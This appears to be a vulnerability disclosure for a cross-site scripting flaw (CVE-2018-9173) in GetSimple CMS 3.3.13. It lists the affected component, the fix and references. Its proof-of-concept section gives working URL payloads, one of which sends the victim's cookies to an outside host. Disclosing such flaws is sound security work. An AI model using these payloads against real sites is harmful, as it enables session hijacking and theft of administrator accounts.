GetSimple CMS 3.3.13 Cross Site Scripting

2018.04.06
Risk: Low
Local: No
Remote: Yes
CWE: CWE-79

####################################### # Exploit Title: GetSimple CMS 3.3.13 - Cross Site Scripting Vulnerability # Google Dork: N/A # Date: 03-04-2018 ####################################### # Exploit Author: Sureshbabu Narvaneni# ####################################### # Author Blog : http://nullnews.in # Vendor Homepage: http://get-simple.info/ # Software Link: http://get-simple.info/download/ # Affected Version: 3.3.13 # Category: WebApps # Tested on: Win7 Enterprise x86/Kali Linux 4.12 i686 # CVE : CVE-2018-9173 # # 1. Vendor Description: # # GetSimple is an XML based, stand-alone, fully independent and lite Content Management System. To go along with its # best-in-class user interface, we have loaded it with features that every website needs, but with nothing it # doesn't. GetSimple is truly the simplest way to manage a small-business website. # # 2. Technical Description: # # Cross-site scripting (XSS) vulnerability in admin/template/js/uploadify/uploadify.swf in GetSimple CMS 3.3.13 # allows remote attackers to inject arbitrary web script or HTML, as demonstrated by the movieName parameter. # # 3. Proof Of Concept: # # Simple alert. # # http:// [URL]GetSimpleCMS-3.3.13/admin/template/js/uploadify/uploadify.swf?movieName="])}catch( # e){alert("MrR3boot")}// # # Grab the cookies # # http:// [URL]GetSimpleCMS-3.3.13/admin/template/js/uploadify/uploadify.swf?movieName="])}catch( # e){window.location="https://mrreboot.here?"+document.cookie}// # # 4. Solution: # # Upgrade to latest release. # http://get-simple.info/download/ # # 5. Reference: # https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-9173 # https://github.com/GetSimpleCMS/GetSimpleCMS/issues/1266 #####################################


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